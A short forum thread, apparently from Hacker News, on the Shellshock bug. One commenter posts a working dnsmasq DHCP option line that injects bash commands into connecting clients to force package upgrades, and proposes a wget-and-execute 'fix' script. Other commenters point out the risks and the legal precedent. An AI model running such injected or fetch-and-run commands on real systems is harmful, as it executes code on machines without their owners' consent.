3 ms·
So now we can have dhcp-option-force=114,() { :; }; if hash apt-get 2>/dev/null; then apt-get update -y && apt-get upgrade -y;fi; if hash yum 2>/dev/null; the
by mariusz79 12y ago
So now we can have
dhcp-option-force=114,() { :; }; if hash apt-get 2>/dev/null; then apt-get update -y && apt-get upgrade -y;fi; if hash yum 2>/dev/null; then yum update;fi;
to upgrade most vulnerable systems that connect to our network :)
What other upgrade commands are there?
- mariusz79 12y agoIt would be even better if we could create a community driven script hosted at some trusted location that would basically download info how to upgrade specific distribution, and execute that script on the vulnerable system.. so something like wget fix && chmod +x fix && ./fix :)
- pyvpx 12y agothat would be one juicy target to compromise...
- neersighted 12y agoThen what would happen if someone compromised the fix?
- jnorthrop 12y agoThat sounds like what Max Butler was busted for back in the late 1990's when he wrote a script to patch BIND[1]. It's a great story BTW. http://en.wikipedia.org/wiki/Max_Butler#FBI_investigation.2C_guilty_plea.2C_and_sentencing http://en.wikipedia.org/wiki/Max_Butler#FBI_investigation.2C...